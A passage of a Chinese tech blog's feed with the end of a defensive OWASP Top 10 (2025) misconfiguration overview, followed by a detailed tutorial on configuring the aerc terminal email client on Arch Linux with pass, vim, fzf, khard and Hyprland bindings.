href="https://asp.net/">ASP.NET</a>等框架的默认配置往往不是最安全的。</p><p><strong>第八，服务器未发送安全头或指令，或未设为安全值。</strong> 包括Content-Security-Policy、Strict-Transport-Security等安全响应头的缺失。</p><h4 id="防御体系-1"><a href="#防御体系-1" class="headerlink" title="防御体系"></a>防御体系</h4><p><strong>部署阶段</strong>，建立<strong>可重复的加固流程</strong>。这个流程应当自动化，能够快速、轻松地部署一个经过适当锁定的新环境。开发、QA、生产环境配置应当一致，但凭据必须不同。</p><p><strong>平台层面</strong>，使用<strong>最小化平台</strong>。移除或不要安装未使用的功能和框架。每一行配置、每一个启用的服务，都需要有存在的理由。</p><p><strong>运维阶段</strong>，将配置审查纳入<strong>补丁管理流程</strong>。每次安全公告、更新或补丁发布时，同步审查配置是否需要调整。特别强调云存储权限（如S3 bucket权限）的定期审查。</p><p><strong>架构层面</strong>，采用<strong>分段应用架构</strong>。通过分段、容器化或云安全组在组件或租户之间实现有效隔离，限制配置错误的影响范围。</p><p><strong>验证层面</strong>，建立<strong>自动化流程验证配置有效性</strong>。如果无法自动化，至少每年手动验证一次。OWASP还建议“主动增加集中配置作为拦截过多错误消息的备用措施”。</p><p><strong>凭据管理</strong>，使用<strong>身份联合、短期凭据或基于角色的访问机制</strong>，而不是在代码、配置文件或流水线中嵌入静态密钥或secret。这一点在2025版中被特别强调，因为静态密钥的泄露往往是配置错误中最致命的后果。</p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/CTF/owasptop10_2025/</id>
    <link href="https://blog.btop251.top/CTF/owasptop10_2025/"/>
    <published>2026-10-07T00:00:00.000Z</published>
    <summary>简单看看25年的top10</summary>
    <title>面试八股之owasptop10</title>
    <updated>2026-10-07T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="others" scheme="https://blog.btop251.top/categories/others/"/>
    <category term="tool" scheme="https://blog.btop251.top/tags/tool/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="arch-linux上的邮箱管理客户端"><a href="#arch-linux上的邮箱管理客户端" class="headerlink" title="arch linux上的邮箱管理客户端"></a>arch linux上的邮箱管理客户端</h1><blockquote><p>在我的arch linux上一直没有使用一个邮箱app来统一管理我的邮箱，每次在这个设备接收发送邮件都需要打开浏览器的web端，步骤太繁琐了，所以趁着现在闲着来研究一下</p></blockquote><p>最开始我选择的是aerc,他极致轻量直接发送tcp连接，终端直接运行，且高度自定义</p><p><img src="/others/email/email.assets/image-20261006133654393.png" alt="image-20261006133654393" loading="eager" decoding="async"></p><h2 id="aerc的安装与配置"><a href="#aerc的安装与配置" class="headerlink" title="aerc的安装与配置"></a>aerc的安装与配置</h2><p>在arch上可以通过pacman来安装</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S aerc w3m pass</span><br></pre></td></tr></tbody></table></figure><p>其中<code>w3m</code>用于简单的html渲染，有些邮件发送格式为html，通过这个工具不需要之后每次都专门用浏览器来读取这类邮件;</p><p><code>pass</code>为一个简单的本地加密工具极其轻量，用于防止在配置文件中密码明文暴露</p><h3 id="初始化本地的gpg密钥"><a href="#初始化本地的gpg密钥" class="headerlink" title="初始化本地的gpg密钥"></a>初始化本地的gpg密钥</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --generate-key</span><br></pre></td></tr></tbody></table></figure><h3 id="初始话pass仓库"><a href="#初始话pass仓库" class="headerlink" title="初始话pass仓库"></a>初始话pass仓库</h3><p>查找gpg的id</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --list-secret-keys --keyid-format=long</span><br></pre></td></tr></tbody></table></figure><p>找到<code>sec </code>后的16位id</p><p>用这个id初始化库</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pass init 你的16位ID</span><br></pre></td></tr></tbody></table></figure><p>存入QQ邮箱的授权码，这样就将密码存入了<code>email/qq</code>中，可以通过对应命令直接使用</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pass insert email/qq</span><br></pre></td></tr></tbody></table></figure><h3 id="写入账号"><a href="#写入账号" class="headerlink" title="写入账号"></a>写入账号</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim ~/.config/aerc/accounts.conf</span><br></pre></td></tr></tbody></table></figure><p><code>accounts.conf</code>是用于存入账户的配置文件</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[Gmail]</span><br><span class="line">source   = imaps://你的谷歌邮箱%40gmail.com@imap.gmail.com:993</span><br><span class="line">source-cred-cmd = pass email/gmail</span><br><span class="line">outgoing = smtps://你的谷歌邮箱%40gmail.com@smtp.gmail.com:465</span><br><span class="line">outgoing-cred-cmd = pass email/gmail</span><br><span class="line">default  = Inbox</span><br><span class="line">from     = Your Name &lt;你的谷歌邮箱@gmail.com&gt;</span><br></pre></td></tr></tbody></table></figure><p>其他的同理，只是163或者qq是用授权码登入</p><p>均需要邮箱在设置中开启IMAP</p><h4 id="开启IMAP方法"><a href="#开启IMAP方法" class="headerlink" title="开启IMAP方法"></a>开启IMAP方法</h4><p><strong>QQ邮箱</strong></p><p><a href="https://wx.mail.qq.com/account/index?sid=zdBvQYwiNXguM3poALpLcgAA#/?tab=safety&amp;r=1791115046578">https://wx.mail.qq.com/account/index?sid=zdBvQYwiNXguM3poALpLcgAA#/?tab=safety&amp;r=1791115046578</a></p><p><img src="/others/email/email.assets/image-20261004200613717.png" alt="image-20261004200613717" loading="lazy" decoding="async"></p><p>安全设置-&gt;POP3/IMAP…服务 -&gt;开启后获取授权码</p><p><strong>163邮箱</strong></p><p><a href="https://mail.163.com/js6/main.jsp?sid=XLizCIjNFrNznCbZuEpjHQNaaNwKFIPu&amp;df=mail163_letter#module=options.LinkModule%7C%7B%22link%22%3A%22option_pop3%22%7D">https://mail.163.com/js6/main.jsp?sid=XLizCIjNFrNznCbZuEpjHQNaaNwKFIPu&amp;df=mail163_letter#module=options.LinkModule%7C%7B%22link%22%3A%22option_pop3%22%7D</a></p><p><img src="/others/email/email.assets/image-20261004201056388.png" alt="image-20261004201056388" loading="lazy" decoding="async"></p><p>之后可以直接通过下方命令来打开aerc</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aerc</span><br></pre></td></tr></tbody></table></figure><h3 id="配置后台运行"><a href="#配置后台运行" class="headerlink" title="配置后台运行"></a>配置后台运行</h3><p>aerc 本身只是终端里的一个 TUI，只有它开着的时候才能实时收邮件。我不太喜欢专门为它留一个终端标签，直接用 Hyprland 的特殊工作区把它”藏”起来更顺手：平时把 aerc 窗口丢进 <code>magic</code>，需要看邮件时再按一下键调出来。</p><p>我的 Hyprland 配置里已经有这两个绑定（<code>~/.config/hypr/hyprland.lua</code>）：</p><figure class="highlight lua"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hl.bind(mainMod .. <span class="string">" + "</span> .. <span class="string">"S"</span>, hl.dsp.workspace.toggle_special(<span class="string">"magic"</span>))</span><br><span class="line"></span><br><span class="line">hl.bind(mainMod .. <span class="string">" + "</span> .. <span class="string">"SHIFT"</span> .. <span class="string">" + "</span> .. <span class="string">"Z"</span>, hl.dsp.window.move({ workspace = <span class="string">"special:magic"</span> }))</span><br></pre></td></tr></tbody></table></figure><p>对应到实际操作就是：</p><table><thead><tr><th>快捷键</th><th>作用</th></tr></thead><tbody><tr><td><code>SUPER + SHIFT + Z</code></td><td>把当前 aerc 窗口丢进 magic 特殊工作区，相当于后台隐藏</td></tr><tr><td><code>SUPER + S</code></td><td>开关 magic，把 aerc 重新调出来</td></tr></tbody></table><p>这样 aerc 只是被 Hyprland 藏起来了，进程和终端一直都在，IMAP 连接（IMAP IDLE）不会断。要看邮件时 <code>SUPER + S</code> 切回来即可，比额外开 tmux 或 systemd service 轻量得多。</p><h3 id="代理问题"><a href="#代理问题" class="headerlink" title="代理问题"></a>代理问题</h3><p>如果想要使用aerc来管理gmail,因为在内地本质是不允许使用的，所以需要使用代理来连接gmail</p><p>但是aerc本质是tcp直连，所以在环境变量中添加<code>http</code>和<code>https</code>的代理对这个工具并没有效果，需要本地使用<code>tun</code>模式让clash来管理我的全局流量</p><p>发现还是不行，查看代理规则发现是因为邮箱使用的端口<code>993</code>和<code>465</code>端口的协议优先级更高且选择是直连，所以最简单的解决办法就是添加顶部规则，直接让这两个端口的流量均使用代理</p><p><img src="/others/email/email.assets/image-20261006003254911.png" alt="image-20261006003254911" loading="lazy" decoding="async"></p><h2 id="日常使用的快捷键与指令"><a href="#日常使用的快捷键与指令" class="headerlink" title="日常使用的快捷键与指令"></a>日常使用的快捷键与指令</h2><p>aerc 是纯键盘操作，所有快捷键都可以通过 <code>?</code> 查看，也可以直接进入 <code>:</code> 命令模式执行命令。</p><h3 id="通用"><a href="#通用" class="headerlink" title="通用"></a>通用</h3><table><thead><tr><th>按键</th><th>作用</th></tr></thead><tbody><tr><td><code>:</code></td><td>进入命令模式（输入命令后回车执行）</td></tr><tr><td><code>?</code></td><td>查看当前上下文的按键帮助</td></tr><tr><td><code>]t</code> / <code>[t</code></td><td>切换下 / 上一个标签页（<code>]t</code> 下一个、<code>[t</code> 上一个）</td></tr><tr><td><code>&lt;C-t&gt;</code></td><td>打开一个内嵌终端</td></tr><tr><td><code>&lt;C-c&gt;</code></td><td>退出 aerc（会弹出 <code>Quit?</code> 确认）</td></tr><tr><td><code>q</code></td><td>关闭当前视图（在列表中会询问是否退出 aerc）</td></tr><tr><td><code>&lt;C-n&gt;</code> / <code>&lt;C-p&gt;</code></td><td>切换下一个 / 上一个邮箱（账号即标签页，即 <code>:next-tab</code> / <code>:prev-tab</code>）</td></tr></tbody></table><h3 id="邮件列表"><a href="#邮件列表" class="headerlink" title="邮件列表"></a>邮件列表</h3><table><thead><tr><th>按键</th><th>作用</th></tr></thead><tbody><tr><td><code>j</code> / <code>k</code></td><td>上/下移动光标</td></tr><tr><td><code>&lt;Enter&gt;</code></td><td>打开选中邮件</td></tr><tr><td><code>m</code> 或 <code>C</code></td><td>撰写新邮件</td></tr><tr><td><code>Rr</code> / <code>rr</code></td><td>回复 / 回复全部（带引用用 <code>Rq</code> / <code>rq</code>）</td></tr><tr><td><code>d</code></td><td>删除（需确认）</td></tr><tr><td><code>D</code></td><td>直接删除，不确认</td></tr><tr><td><code>a</code></td><td>归档当前邮件</td></tr><tr><td><code>&lt;Space&gt;</code></td><td>选中并跳到下一封</td></tr><tr><td><code>v</code></td><td>标记 / 取消标记当前邮件（整条线程用 <code>:mark -T</code>）</td></tr><tr><td><code>/</code></td><td>搜索邮件</td></tr><tr><td><code>\</code></td><td>过滤邮件列表</td></tr><tr><td><code>n</code> / <code>N</code></td><td>跳到下/上一个搜索结果</td></tr><tr><td><code>c</code></td><td>切换文件夹</td></tr><tr><td><code>s</code> / <code>S</code></td><td>水平/垂直分屏预览</td></tr><tr><td><code>T</code></td><td>切换线程视图</td></tr><tr><td><code>J</code> / <code>K</code></td><td>下一个/上一个文件夹</td></tr><tr><td><code>|</code></td><td>把邮件通过管道传给外部命令</td></tr></tbody></table><h3 id="阅读邮件"><a href="#阅读邮件" class="headerlink" title="阅读邮件"></a>阅读邮件</h3><table><thead><tr><th>按键</th><th>作用</th></tr></thead><tbody><tr><td><code>q</code></td><td>关闭当前邮件</td></tr><tr><td><code>o</code> / <code>O</code></td><td>用外部程序打开附件或邮件正文</td></tr><tr><td><code>S</code></td><td>保存附件到本地</td></tr><tr><td><code>f</code></td><td>转发</td></tr><tr><td><code>Rr</code> / <code>rr</code></td><td>回复 / 回复全部（带引用用 <code>Rq</code> / <code>rq</code>）</td></tr><tr><td><code>a</code></td><td>归档</td></tr><tr><td><code>H</code></td><td>切换显示完整邮件头</td></tr><tr><td><code>&lt;C-j&gt;</code> / <code>&lt;C-k&gt;</code></td><td>下一个/上一个 MIME 部分</td></tr><tr><td><code>J</code> / <code>K</code></td><td>下一封/上一封邮件</td></tr><tr><td><code>&lt;C-l&gt;</code></td><td>打开正文里的链接</td></tr><tr><td><code>&lt;C-y&gt;</code></td><td>复制正文里的链接</td></tr></tbody></table><h3 id="撰写与发送"><a href="#撰写与发送" class="headerlink" title="撰写与发送"></a>撰写与发送</h3><p>在撰写界面 <code>:wq</code> 退出编辑器后会进入 review 界面，此时：</p><table><thead><tr><th>按键</th><th>作用</th></tr></thead><tbody><tr><td><code>y</code></td><td>发送</td></tr><tr><td><code>n</code></td><td>放弃并丢弃</td></tr><tr><td><code>p</code></td><td>暂存为草稿</td></tr><tr><td><code>v</code></td><td>预览最终邮件</td></tr><tr><td><code>e</code></td><td>重新编辑正文与头</td></tr><tr><td><code>a</code></td><td>添加附件</td></tr><tr><td><code>d</code></td><td>移除附件</td></tr><tr><td><code>s</code></td><td>切换签名</td></tr><tr><td><code>x</code></td><td>切换加密</td></tr></tbody></table><h3 id="常用命令模式命令"><a href="#常用命令模式命令" class="headerlink" title="常用命令模式命令"></a>常用命令模式命令</h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">:compose              撰写新邮件</span><br><span class="line">:reply / :forward     回复 / 转发</span><br><span class="line">:attach &lt;文件&gt;         添加附件</span><br><span class="line">:save &lt;路径&gt;           保存当前邮件 / 附件到指定路径（导出）</span><br><span class="line">:send                 发送</span><br><span class="line">:postpone             暂存为草稿</span><br><span class="line">:cf &lt;文件夹&gt;           切换文件夹</span><br><span class="line">:mkdir &lt;文件夹&gt;        新建文件夹</span><br><span class="line">:delete / :mv / :cp    删除 / 移动 / 复制邮件</span><br><span class="line">:search &lt;关键词&gt;        搜索</span><br><span class="line">:filter &lt;关键词&gt;        过滤</span><br><span class="line">:clear                清除搜索/过滤</span><br><span class="line">:sort                 排序</span><br><span class="line">:toggle-threads       切换线程视图</span><br><span class="line">:pipe &lt;命令&gt;           将邮件管道给外部命令</span><br><span class="line">:open / :open-link     外部打开附件 / 链接</span><br><span class="line">:term                 打开终端</span><br><span class="line">:quit                 退出</span><br></pre></td></tr></tbody></table></figure><h2 id="其他舒适型配置"><a href="#其他舒适型配置" class="headerlink" title="其他舒适型配置"></a>其他舒适型配置</h2><h3 id="将-vim-配置为编辑器"><a href="#将-vim-配置为编辑器" class="headerlink" title="将 vim 配置为编辑器"></a>将 vim 配置为编辑器</h3><p>aerc 撰写邮件时会调用外部编辑器，默认依次读取 <code>$VISUAL</code>、<code>$EDITOR</code>、<code>vi</code>。推荐在 <code>~/.config/aerc/aerc.conf</code> 的 <code>[compose]</code> 段显式指定：</p><figure class="highlight ini"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[compose]</span></span><br><span class="line"><span class="attr">editor</span> = vim</span><br></pre></td></tr></tbody></table></figure><p>也可以不改配置文件，直接通过环境变量指定：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> EDITOR=vim</span><br></pre></td></tr></tbody></table></figure><p>写入 shell 配置（bash 用 <code>~/.bashrc</code>，zsh 用 <code>~/.zshrc</code>）后可永久生效。</p><p>aerc 撰写时生成的临时文件名为 <code>aerc-compose-*.eml</code>，Vim（9 及以上）会自动把它识别为 <code>mail</code> 文件类型并加载对应高亮。为了让写邮件更顺手，可以在 <code>~/.vimrc</code> 中为 mail 类型加一些设置：</p><figure class="highlight vim"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">autocmd</span> FileType mail <span class="keyword">setlocal</span> spell spelllang=en_us</span><br><span class="line"><span class="keyword">autocmd</span> FileType mail <span class="keyword">setlocal</span> textwidth=<span class="number">72</span></span><br><span class="line"><span class="keyword">autocmd</span> FileType mail <span class="keyword">setlocal</span> formatoptions+=aw</span><br><span class="line"><span class="keyword">autocmd</span> FileType mail <span class="keyword">setlocal</span> cursorline</span><br></pre></td></tr></tbody></table></figure><p>如果 Vim 未能识别文件类型，可手动补一条自动命令：</p><figure class="highlight vim"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">autocmd</span> BufNewFile,BufRead */aerc-compose-*.eml <span class="keyword">setfiletype</span> mail</span><br></pre></td></tr></tbody></table></figure><p>默认情况下收件人、主题等头部是在 aerc 的表单里填写的，只有正文交给 vim。若希望连邮件头一起在 vim 里编辑，可开启：</p><figure class="highlight ini"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[compose]</span></span><br><span class="line"><span class="attr">editor</span> = vim</span><br><span class="line"><span class="attr">edit-headers</span> = <span class="literal">true</span></span><br></pre></td></tr></tbody></table></figure><p>此时 vim 打开的内容形如：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">To: someone@example.com</span><br><span class="line">Subject: 你好</span><br><span class="line"></span><br><span class="line">正文内容……</span><br></pre></td></tr></tbody></table></figure><p>在 vim 中写完执行 <code>:wq</code> 保存退出，即可回到 aerc 的 review 界面继续发送。</p><h3 id="添加模糊搜索和通讯录"><a href="#添加模糊搜索和通讯录" class="headerlink" title="添加模糊搜索和通讯录"></a>添加模糊搜索和通讯录</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S fzf khard</span><br></pre></td></tr></tbody></table></figure><table><thead><tr><th>包</th><th>作用</th><th>解释</th></tr></thead><tbody><tr><td>fzf</td><td>通用模糊查找器（fuzzy finder），把一堆候选项丢给它就能边打边筛</td><td>file-picker-cmd：写邮件加附件时弹窗选文件；也可作 default-menu-cmd</td></tr><tr><td>khard</td><td>终端通讯录管理器，读取本地 vCard 文件，能按关键词输出“邮箱+姓名”</td><td>address-book-cmd：写邮件时补全收件人</td></tr></tbody></table><h4 id="配khard通讯录"><a href="#配khard通讯录" class="headerlink" title="配khard通讯录"></a>配khard通讯录</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p ~/.config/khard ~/.contacts</span><br><span class="line">vim ~/.config/khard/khard.conf</span><br></pre></td></tr></tbody></table></figure><p>写入（~/.contacts 就是存放 vCard 的目录）：</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[addressbooks]</span><br><span class="line">[[contacts]]</span><br><span class="line">path = ~/.contacts/</span><br><span class="line"></span><br><span class="line">[general]</span><br><span class="line">editor = vim</span><br><span class="line">default_action = list</span><br></pre></td></tr></tbody></table></figure><p>新增一个联系人测试</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">khard new -a contacts</span><br></pre></td></tr></tbody></table></figure><blockquote><p><strong>关于vCard</strong></p><p>最简单的 vCard 只需要两个必需字段：<strong>版本</strong>和<strong>格式化姓名</strong>。</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">BEGIN:VCARD</span><br><span class="line">VERSION:4.0</span><br><span class="line">FN:张三</span><br><span class="line">END:VCARD</span><br></pre></td></tr></tbody></table></figure><p>常见可填写字段</p><p>以下是一些最常用的字段及其格式，你可以根据需求自由组合：</p><table><thead><tr><th>字段名</th><th>含义</th><th>格式示例</th></tr></thead><tbody><tr><td><strong>VERSION</strong></td><td>版本号，<strong>必需</strong>。目前常用的是 4.0。</td><td><code>VERSION:4.0</code></td></tr><tr><td><strong>FN</strong></td><td>格式化姓名，<strong>必需</strong>。即你希望别人看到的完整称呼。</td><td><code>FN:张三</code></td></tr><tr><td><strong>N</strong></td><td>结构化姓名。依次为 <strong>姓、名、中间名、前缀、后缀</strong>，用分号 <code>;</code> 隔开。</td><td><code>N:张;三;建国;先生;</code></td></tr><tr><td><strong>TEL</strong></td><td>电话号码。可附加 <code>TYPE</code> 参数区分类型（如 work, home）。</td><td><code>TEL;TYPE=work:+86-138-0000-0000</code></td></tr><tr><td><strong>EMAIL</strong></td><td>电子邮箱。同样可附加 <code>TYPE</code> 参数。</td><td><code>EMAIL;TYPE=work:zhangsan@example.com</code></td></tr><tr><td><strong>ORG</strong></td><td>组织/公司名称。可以包含多个层级，用分号隔开。</td><td><code>ORG:示例公司;技术部</code></td></tr><tr><td><strong>TITLE</strong></td><td>职位头衔。</td><td><code>TITLE:高级工程师</code></td></tr><tr><td><strong>ADR</strong></td><td>结构化地址。通常用分号分隔：<strong>邮箱/楼号;扩展地址;街道;城市;省/州;邮编;国家</strong>。</td><td><code>ADR;TYPE=work:;;科技园路1号;深圳市;广东省;518000;中国</code></td></tr><tr><td><strong>BDAY</strong></td><td>生日。格式为 <code>yyyy-mm-dd</code>，也可以省略年份。</td><td><code>BDAY:1990-01-01</code></td></tr><tr><td><strong>NOTE</strong></td><td>备注信息。</td><td><code>NOTE:这是一段备注</code></td></tr><tr><td><strong>URL</strong></td><td>个人或公司主页链接。</td><td><code>URL:https://example.com</code></td></tr></tbody></table></blockquote><p>在 <code>~/.config/aerc/aerc.conf</code> 的 <code>[compose]</code> 段添加对应的配置：</p><figure class="highlight ini"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[compose]</span></span><br><span class="line"><span class="attr">file-picker-cmd</span> = fzf --multi --query=%s</span><br><span class="line"><span class="attr">address-book-cmd</span> = khard email --remove-first-line --parsable %s</span><br></pre></td></tr></tbody></table></figure><p><code>file-picker-cmd</code> 让加附件时弹出 fzf 选文件，<code>address-book-cmd</code> 让收件人输入框支持按 <code>Ctrl+o</code> 补全。如果不打算维护通讯录，只保留 <code>file-picker-cmd</code> 这一行即可。</p><h3 id="aerc-conf-的其他舒适型改动"><a href="#aerc-conf-的其他舒适型改动" class="headerlink" title="aerc.conf 的其他舒适型改动"></a>aerc.conf 的其他舒适型改动</h3><p>除了编辑器，<code>aerc.conf</code> 里还开了下面这些，逐项说明作用：</p><table><thead><tr><th>段</th><th>配置</th><th>作用</th></tr></thead><tbody><tr><td><code>[general]</code></td><td><code>default-save-path = ~/下载/</code></td><td>保存附件时的默认目录，不用每次输入完整路径</td></tr><tr><td><code>[ui]</code></td><td><code>mouse-enabled = true</code></td><td>允许鼠标点击选中、滚轮滚动</td></tr><tr><td><code>[ui]</code></td><td><code>threading-enabled = true</code></td><td>邮件按会话线程折叠显示，方便看一来一回的讨论</td></tr><tr><td><code>[compose]</code></td><td><code>focus-body = true</code></td><td>打开撰写界面时直接聚焦正文，省一次 Tab</td></tr><tr><td><code>[compose]</code></td><td><code>format-flowed = true</code></td><td>按 RFC3676 生成软换行正文，对方阅读更自然</td></tr><tr><td><code>[openers]</code></td><td><code>application/pdf = xdg-open</code></td><td>阅读时按 <code>o</code> 用系统默认程序打开 PDF 附件</td></tr><tr><td><code>[openers]</code></td><td><code>image/* = xdg-open</code></td><td>按 <code>o</code> 用系统默认图片查看器打开图片附件</td></tr><tr><td><code>[openers]</code></td><td><code>text/html = firefox</code></td><td>按 <code>o</code> 用浏览器打开 HTML 部分（日常阅读走 filter，用不到它）</td></tr></tbody></table><blockquote><p>这些行在示例配置里默认是<strong>注释状态</strong>（行首带 <code>#</code>）。只在行尾把 <code>false</code> 改成 <code>true</code> 不会生效，必须把行首的 <code>#</code> 删掉。</p></blockquote><h3 id="快捷键自定义"><a href="#快捷键自定义" class="headerlink" title="快捷键自定义"></a>快捷键自定义</h3><p><code>~/.config/aerc/binds.conf</code> 里加了两处：</p><table><thead><tr><th>位置</th><th>配置</th><th>作用</th></tr></thead><tbody><tr><td>文件开头（全局）</td><td><code>&lt;A-n&gt;</code> / <code>&lt;A-p&gt; = :switch-account -n / -p</code></td><td><code>Alt+n</code>、<code>Alt+p</code> 在多个账号间切换</td></tr><tr><td><code>[messages]</code> 段</td><td><code>f = :forward&lt;Enter&gt;</code></td><td>在邮件列表里直接转发，省去“先进阅读界面再按 f”</td></tr></tbody></table><p><code>[view]</code> 段里本来就有一个 <code>f = :forward</code>，两者属于不同界面（列表 / 阅读），互不冲突。</p><p>注意区分：默认的 <code>Ctrl+n</code> / <code>Ctrl+p</code>（<code>:next-tab</code> / <code>:prev-tab</code>）切换的是标签页——账号、撰写、阅读等都是标签，所以切标签也能切账号，但会路过其它标签；这里的 <code>Alt+n</code> / <code>Alt+p</code>（<code>:switch-account</code>）则只在本账号之间循环。</p><p>改完所有配置后，在 aerc 里执行 <code>:reload</code>（或外部 <code>kill -HUP $(pgrep aerc)</code>）即可生效。</p><h2 id="常见使用场景"><a href="#常见使用场景" class="headerlink" title="常见使用场景"></a>常见使用场景</h2><p>前面列的是”有哪些键”，这一节换成”要办一件事时具体怎么按”。下面按日常最常遇到的场景来写，跟着走一遍基本就能上手了。</p><h3 id="1-每天收信，快速清空收件箱"><a href="#1-每天收信，快速清空收件箱" class="headerlink" title="1. 每天收信，快速清空收件箱"></a>1. 每天收信，快速清空收件箱</h3><p>打开 aerc 后默认停在第一个账号的默认文件夹（<code>accounts.conf</code> 里的 <code>default</code>）。aerc 里每个账号就是一个标签页，所以用 <code>Ctrl+n</code> / <code>Ctrl+p</code> 切到下一个 / 上一个标签即可切换账号；文件夹用 <code>J</code> / <code>K</code> 上下切换。</p><p>单封处理：</p><table><thead><tr><th>按键</th><th>作用</th></tr></thead><tbody><tr><td><code>j</code> / <code>k</code></td><td>上/下移动光标</td></tr><tr><td><code>Enter</code></td><td>打开邮件</td></tr><tr><td><code>Rr</code> / <code>rr</code></td><td>回复 / 回复全部（带引用用 <code>Rq</code> / <code>rq</code>）</td></tr><tr><td><code>a</code></td><td>归档当前邮件</td></tr><tr><td><code>d</code> / <code>D</code></td><td>删除（需确认）/ 直接删除</td></tr></tbody></table><p>批量处理是清空收件箱的关键：</p><ul><li><code>Space</code>：标记当前邮件并自动跳到下一封，连续按就能勾选一批</li><li><code>v</code>：切换当前邮件的标记状态</li><li><code>V</code>：进入可视标记模式，用 <code>j</code> / <code>k</code> 框选一段范围</li><li><code>:mark -T</code>：选中当前整条线程</li></ul><p>勾选完成后直接执行命令，命令会作用在所有被标记的邮件上：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">:archive           归档</span><br><span class="line">:delete            删除</span><br><span class="line">:mv &lt;文件夹&gt;        移动到指定文件夹</span><br></pre></td></tr></tbody></table></figure><p><code>Esc</code> 可以清除当前标记。</p><h3 id="2-回复-回复全部-转发"><a href="#2-回复-回复全部-转发" class="headerlink" title="2. 回复 / 回复全部 / 转发"></a>2. 回复 / 回复全部 / 转发</h3><p>在阅读界面按：</p><table><thead><tr><th>按键</th><th>作用</th></tr></thead><tbody><tr><td><code>Rr</code></td><td>回复发件人</td></tr><tr><td><code>rr</code></td><td>回复全部</td></tr><tr><td><code>Rq</code></td><td>回复（带引用）</td></tr><tr><td><code>rq</code></td><td>回复全部（带引用）</td></tr><tr><td><code>f</code></td><td>转发</td></tr></tbody></table><p>注意回复默认是<strong>两键序列</strong>：单独按 <code>r</code> 只是在等第二键，不会有任何反应，要按完整 <code>Rr</code> / <code>rr</code> 才会真正打开回复。若想改成单键回复，在 <code>binds.conf</code> 里自行加 <code>r = :reply&lt;Enter&gt;</code> 即可。</p><p><img src="/others/email/email.assets/image-20261006133302888.png" alt="image-20261006133302888" loading="lazy" decoding="async"></p><p>进入编辑模式，使用vim规则</p><p>在 vim 里写完正文，:wq 退出 → aerc 自动进入 review（复查）界面。<br>在 review 界面按 y 发送。想改就 e 重新编辑、想先放着就 p 暂存草稿、要加附件按 a（走 fzf）、要签名 s、要加密 x。</p><p><img src="/others/email/email.assets/image-20261006133511310.png" alt="image-20261006133511310" loading="lazy" decoding="async"></p><p>在邮件列表里也能直接按 <code>f</code> 转发当前选中的邮件，不必先 <code>Enter</code> 进阅读界面。转发时可在 review 界面用 <code>a</code> 或 <code>:attach</code> 